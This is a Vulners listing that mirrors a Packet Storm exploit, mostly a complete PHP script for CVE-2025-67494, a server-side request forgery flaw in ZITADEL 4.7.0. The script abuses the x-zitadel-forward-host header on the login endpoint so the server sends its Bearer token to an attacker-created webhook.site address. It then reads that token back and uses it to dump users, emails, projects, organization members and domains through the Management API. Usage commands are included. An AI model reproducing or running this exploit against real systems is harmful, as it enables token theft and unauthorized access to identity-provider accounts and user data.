Lucene search
K

📄 ZITADEL 4.7.0 Server-Side Request Forgery

🗓️ 23 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 144 Views

ZIT ADEL 4.7.0 SSRF exploit in PHP abuses CVE-2025-67494 to steal tokens via the login endpoint.

Related
Code
=============================================================================================================================================
    | # Title     : ZITADEL 4.7.0 SSRF Exploit - PHP Version                                                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/zitadel                                                                                                  |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212661/ & 	CVE-2025-67494
    
    [+] Summary    : This PHP script exploits CVE-2025-67494, a Server-Side Request Forgery (SSRF) vulnerability in ZITADEL's login interface that allows attackers to retrieve Bearer tokens and access the Management API.
    
    [+] SSRFExploiter Class :
    
        Sends malicious SSRF requests to ZITADEL's /ui/v2/login endpoint
    
        Uses the x-zitadel-forward-host header to redirect requests to attacker-controlled servers
    	
    [+]  POC :
    
    # Basic usage (auto-detects API URL)
    
    php exploit.php -u http://target:29000
    
    # Specify custom API URL
    
    php exploit.php --ui-url http://target.com --api-url http://target.com:28080 --timeout 120
    
    
    <?php
    
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    
    class WebhookManager {
        private $token;
        private $url;
        
        public function create() {
            try {
                $ch = curl_init("https://webhook.site/token");
                curl_setopt_array($ch, [
                    CURLOPT_POST => true,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 10,
                    CURLOPT_HTTPHEADER => ['Content-Type: application/json']
                ]);
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if (in_array($httpCode, [200, 201])) {
                    $data = json_decode($response, true);
                    $token = $data['uuid'] ?? null;
                    if ($token) {
                        $this->token = $token;
                        $this->url = "https://webhook.site/{$token}";
                        return [$token, $this->url];
                    }
                }
            } catch (Exception $e) {
                $this->logError("Error creating webhook: " . $e->getMessage());
            }
            return [null, null];
        }
        
        public function getRequests($timeout = 60) {
            if (!$this->token) {
                return null;
            }
            
            $url = "https://webhook.site/token/{$this->token}/requests";
            $startTime = time();
            $pollInterval = 5;
            $lastCheck = 0;
            
            while (time() - $startTime < $timeout) {
                $elapsed = time() - $startTime;
                
                try {
                    $ch = curl_init($url);
                    curl_setopt_array($ch, [
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_TIMEOUT => 10
                    ]);
                    
                    $response = curl_exec($ch);
                    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                    curl_close($ch);
                    
                    if ($httpCode == 200) {
                        $data = json_decode($response, true);
                        $total = is_array($data) && isset($data['total']) ? (int)$data['total'] : 0;
                        
                        if ($total > $lastCheck) {
                            $this->logInfo("Webhook received {$total} request(s)...");
                            $lastCheck = $total;
                        }
                        
                        if (isset($data['data']) && is_array($data['data']) && count($data['data']) > 0) {
                            return $data['data'];
                        }
                    }
                    
                    $remaining = $timeout - $elapsed;
                    if ($remaining > 0 && $remaining % 10 == 0 && $elapsed > 5) {
                        $this->logInfo("Waiting for SSRF request... ({$remaining}s remaining)");
                    }
                } catch (Exception $e) {
                    $this->logError("Error polling webhook: " . $e->getMessage());
                }
                
                if ($elapsed < $timeout) {
                    sleep($pollInterval);
                }
            }
            
            return null;
        }
        
        public function extractBearerToken($requestsData) {
            if (!$requestsData) {
                return null;
            }
            
            foreach ($requestsData as $req) {
                $headers = $req['headers'] ?? [];
                
                foreach ($headers as $key => $value) {
                    if (strtolower($key) === 'authorization') {
                        $authHeader = is_array($value) ? ($value[0] ?? '') : $value;
                        if (strpos($authHeader, 'Bearer ') === 0) {
                            return substr($authHeader, 7);
                        }
                    }
                }
            }
            
            return null;
        }
        
        public function getUrl() {
            return $this->url;
        }
        
        private function logInfo($message) {
            echo "[*] $message\n";
        }
        
        private function logError($message) {
            echo "[!] $message\n";
        }
    }
    
    class SSRFExploiter {
        private $targetUrl;
        
        public function __construct($targetUrl) {
            $this->targetUrl = $targetUrl;
        }
        
        public function exploit($oobHost) {
            $this->logInfo("Exploiting SSRF to {$this->targetUrl}");
            $this->logInfo("OOB host: {$oobHost}");
            
            $url = "{$this->targetUrl}/ui/v2/login";
            $headers = ["x-zitadel-forward-host: {$oobHost}"];
            
            try {
                $ch = curl_init($url);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 30,
                    CURLOPT_HTTPHEADER => $headers
                ]);
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                $this->logSuccess("SSRF request sent (status: {$httpCode})");
                return true;
            } catch (Exception $e) {
                $this->logError("Error during SSRF exploitation: " . $e->getMessage());
                return false;
            }
        }
        
        private function logInfo($message) {
            echo "[*] $message\n";
        }
        
        private function logSuccess($message) {
            echo "[+] $message\n";
        }
        
        private function logError($message) {
            echo "[!] $message\n";
        }
    }
    
    class ZitadelAPI {
        private $baseUrl;
        private $token;
        private $searchQuery = '{"query": {"offset": "0", "limit": 10}}';
        
        public function __construct($baseUrl, $token) {
            $this->baseUrl = $baseUrl;
            $this->token = $token;
        }
        
        private function apiRequest($method, $endpoint, $errorMsg = "", $isPost = false) {
            $url = "{$this->baseUrl}/management/v1/{$endpoint}";
            $headers = ["Authorization: Bearer {$this->token}"];
            
            if ($isPost) {
                $headers[] = "Content-Type: application/json";
            }
            
            try {
                $ch = curl_init($url);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 10,
                    CURLOPT_HTTPHEADER => $headers
                ]);
                
                if (strtoupper($method) === 'POST') {
                    curl_setopt($ch, CURLOPT_POST, true);
                    curl_setopt($ch, CURLOPT_POSTFIELDS, $this->searchQuery);
                }
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($httpCode == 200) {
                    return json_decode($response, true);
                }
            } catch (Exception $e) {
                if ($errorMsg) {
                    $this->logError("{$errorMsg}: " . $e->getMessage());
                }
            }
            
            return null;
        }
        
        public function getIamInfo() {
            return $this->apiRequest('GET', 'iam', 'Error retrieving IAM info');
        }
        
        public function getOrgInfo() {
            return $this->apiRequest('GET', 'orgs/me', 'Error retrieving org info');
        }
        
        public function listUsers() {
            return $this->apiRequest('POST', 'users/_search', 'Error listing users', true);
        }
        
        public function listProjects() {
            return $this->apiRequest('POST', 'projects/_search', 'Error listing projects', true);
        }
        
        public function listOrgMembers() {
            return $this->apiRequest('POST', 'orgs/me/members/_search', 'Error listing members', true);
        }
        
        public function listOrgDomains() {
            return $this->apiRequest('POST', 'orgs/me/domains/_search', 'Error listing domains', true);
        }
        
        public function getUserMemberships($userId) {
            $endpoint = "users/{$userId}/memberships/_search";
            return $this->apiRequest('POST', $endpoint, 'Error retrieving memberships', true);
        }
        
        private function logError($message) {
            echo "[!] $message\n";
        }
    }
    
    class DataFormatter {
        public static function formatIamInfo($data) {
            if (!$data) return null;
            
            $gid = $data['globalOrgId'] ?? 'N/A';
            $pid = $data['iamProjectId'] ?? 'N/A';
            $did = $data['defaultOrgId'] ?? 'N/A';
            
            return "Global Org ID: {$gid}\nIAM Project ID: {$pid}\nDefault Org ID: {$did}";
        }
        
        public static function formatOrgInfo($data) {
            if (!$data || !isset($data['org'])) return null;
            
            $org = $data['org'];
            $oid = $org['id'] ?? 'N/A';
            $name = $org['name'] ?? 'N/A';
            $state = $org['state'] ?? 'N/A';
            $domain = $org['primaryDomain'] ?? 'N/A';
            
            return "ID: {$oid}\nName: {$name}\nState: {$state}\nPrimary Domain: {$domain}";
        }
        
        public static function formatUsers($data) {
            return self::formatList($data, function($user) {
                $userType = isset($user['machine']) ? "Machine" : "Human";
                $username = $user['userName'] ?? 'N/A';
                $state = $user['state'] ?? 'N/A';
                
                if (isset($user['human']['email']['email'])) {
                    $email = $user['human']['email']['email'];
                    return "{$userType}: {$username} ({$email}) - {$state}";
                }
                return "{$userType}: {$username} - {$state}";
            });
        }
        
        public static function formatProjects($data) {
            return self::formatList($data, function($project) {
                $name = $project['name'] ?? 'N/A';
                $id = $project['id'] ?? 'N/A';
                $state = $project['state'] ?? 'N/A';
                return "{$name} (ID: {$id}) - {$state}";
            });
        }
        
        public static function formatMembers($data) {
            return self::formatList($data, function($member) {
                $email = $member['email'] ?? 'N/A';
                $roles = implode(", ", $member['roles'] ?? []);
                return "{$email} - Roles: {$roles}";
            });
        }
        
        public static function formatDomains($data) {
            return self::formatList($data, function($domain) {
                $domainName = $domain['domainName'] ?? 'N/A';
                $verified = !empty($domain['isVerified']) ? "Verified" : "Not Verified";
                $primary = !empty($domain['isPrimary']) ? "Primary" : "";
                $result = "{$domainName} - {$verified}";
                if ($primary) $result .= " {$primary}";
                return trim($result);
            });
        }
        
        public static function formatMemberships($data) {
            return self::formatList($data, function($membership) {
                $orgName = $membership['displayName'] ?? 'N/A';
                $roles = implode(", ", $membership['roles'] ?? []);
                $iam = !empty($membership['iam']) ? "IAM" : "Org";
                return "{$iam}: {$orgName} - Roles: {$roles}";
            });
        }
        
        private static function formatList($data, $formatter) {
            if (!$data || !isset($data['result']) || empty($data['result'])) {
                return null;
            }
            
            $items = array_map($formatter, $data['result']);
            $items = array_filter($items);
            
            return !empty($items) ? implode("\n", $items) : null;
        }
    }
    
    function printInfo($title, $data, $formatter = null) {
        if (!$data) return;
        
        echo "\n" . str_repeat('=', 60) . "\n";
        echo "{$title}\n";
        echo str_repeat('=', 60) . "\n";
        
        if ($formatter) {
            $formatted = call_user_func($formatter, $data);
            if ($formatted) {
                echo "{$formatted}\n";
            }
        } else {
            echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n";
        }
    }
    
    function parseArguments() {
        global $argv;
        $options = [
            'ui-url:' => 'u:',
            'api-url:' => 'a:',
            'timeout:' => '',
            'help' => 'h'
        ];
        
        $parsed = getopt(implode('', array_values($options)), array_keys($options));
        
        $args = [];
        $args['ui-url'] = $parsed['u'] ?? $parsed['ui-url'] ?? null;
        $args['api-url'] = $parsed['a'] ?? $parsed['api-url'] ?? null;
        $args['timeout'] = $parsed['timeout'] ?? 60;
        $args['help'] = isset($parsed['h']) || isset($parsed['help']);
        
        return $args;
    }
    
    function showHelp() {
        echo "By indoushka - Exploit for CVE-2025-67494 - ZITADEL SSRF with automatic Bearer token retrieval\n\n";
        echo "Usage: php " . basename(__FILE__) . " [options]\n\n";
        echo "Options:\n";
        echo "  -u, --ui-url    ZITADEL Login UI URL (e.g., http://localhost:29000)\n";
        echo "  -a, --api-url   ZITADEL Management API URL (e.g., http://localhost:28080).\n";
        echo "                  If not provided, will be auto-detected from UI URL\n";
        echo "  --timeout       Timeout in seconds (default: 60)\n";
        echo "  -h, --help      Show this help message\n";
    }
    
    function main() {
        $args = parseArguments();
        
        if ($args['help'] || !$args['ui-url']) {
            showHelp();
            exit($args['help'] ? 0 : 1);
        }
        
        // إضافة البروتوكول إذا لم يكن موجودًا
        $uiUrl = $args['ui-url'];
        if (!preg_match('#^https?://#i', $uiUrl)) {
            $uiUrl = "http://" . $uiUrl;
            echo "[*] Added protocol to UI URL: {$uiUrl}\n";
        }
        
        if ($args['api-url']) {
            $baseUrl = $args['api-url'];
            if (!preg_match('#^https?://#i', $baseUrl)) {
                $baseUrl = "http://" . $baseUrl;
            }
        } else {
            $parsed = parse_url($uiUrl);
            
            // قيم افتراضية في حالة عدم وجود بيانات
            $scheme = $parsed['scheme'] ?? 'http';
            $host = $parsed['host'] ?? '127.0.0.1';
            $port = $parsed['port'] ?? null;
            
            // حاول تحديد المنفذ الصحيح بناءً على المنفذ المدخل
            if ($port == 28080) {
                // إذا كان المنفذ 28080 (API)، فاستخدم 29000 للـ UI
                $uiUrl = "{$scheme}://{$host}:29000";
                $baseUrl = "{$scheme}://{$host}:28080";
            } elseif ($port == 29000) {
                // إذا كان المنفذ 29000 (UI)، فاستخدم 28080 للـ API
                $uiUrl = "{$scheme}://{$host}:29000";
                $baseUrl = "{$scheme}://{$host}:28080";
            } else {
                // إذا كان منفذ آخر، افترض أنه UI واستخدم المنفذ الافتراضي للـ API
                $baseUrl = "{$scheme}://{$host}:28080";
            }
            
            echo "[*] Auto-detected: UI on {$uiUrl}, API on {$baseUrl}\n";
        }
        
        echo "[*] Starting CVE-2025-67494 exploit\n";
        echo "[*] UI URL: {$uiUrl}, API URL: {$baseUrl}\n";
        
        // ... باقي الكود
        
        $webhook = new WebhookManager();
        echo "[*] Creating webhook.site URL via API...\n";
        list($webhookToken, $webhookUrl) = $webhook->create();
        
        if (!$webhookToken) {
            echo "[!] Failed to create webhook via API\n";
            exit(1);
        }
        
        $oobHost = "{$webhookToken}.webhook.site";
        echo "[+] Webhook created: {$webhookUrl}\n";
        echo "[*] OOB host: {$oobHost}\n";
        
        $exploiter = new SSRFExploiter($uiUrl);
        echo "[*] Sending SSRF request...\n";
        $exploiter->exploit($oobHost);
        
        $timeout = (int)$args['timeout'];
        echo "[*] Polling webhook for Bearer token (timeout: {$timeout}s)...\n";
        $requestsData = $webhook->getRequests($timeout);
        
        if (!$requestsData) {
            echo "[!] Timeout: No requests received within {$timeout} seconds\n";
            exit(1);
        }
        
        $token = $webhook->extractBearerToken($requestsData);
        if (!$token) {
            echo "[!] Bearer token not found in webhook requests\n";
            exit(1);
        }
        
        echo "[+] Bearer token successfully retrieved!\n";
        echo "[*] Token: " . substr($token, 0, 50) . "...\n";
        echo "[*] Retrieving information via Management API...\n";
        
        $api = new ZitadelAPI($baseUrl, $token);
        
        $iamInfo = $api->getIamInfo();
        printInfo("IAM Information", $iamInfo, ['DataFormatter', 'formatIamInfo']);
        
        $orgInfo = $api->getOrgInfo();
        printInfo("Organization Information", $orgInfo, ['DataFormatter', 'formatOrgInfo']);
        
        $users = $api->listUsers();
        printInfo("Users", $users, ['DataFormatter', 'formatUsers']);
        
        if ($users && isset($users['result']) && count($users['result']) > 0) {
            $firstUserId = $users['result'][0]['id'];
            $memberships = $api->getUserMemberships($firstUserId);
            printInfo("User Memberships (User ID: {$firstUserId})", $memberships, ['DataFormatter', 'formatMemberships']);
        }
        
        $projects = $api->listProjects();
        printInfo("Projects", $projects, ['DataFormatter', 'formatProjects']);
        
        $members = $api->listOrgMembers();
        printInfo("Organization Members", $members, ['DataFormatter', 'formatMembers']);
        
        $domains = $api->listOrgDomains();
        printInfo("Organization Domains", $domains, ['DataFormatter', 'formatDomains']);
        
        echo "[+] Exploitation completed successfully!\n";
    }
    
    if (PHP_SAPI === 'cli') {
        main();
    }
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jan 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.18.6 - 9.3
EPSS0.00037
SSVC
144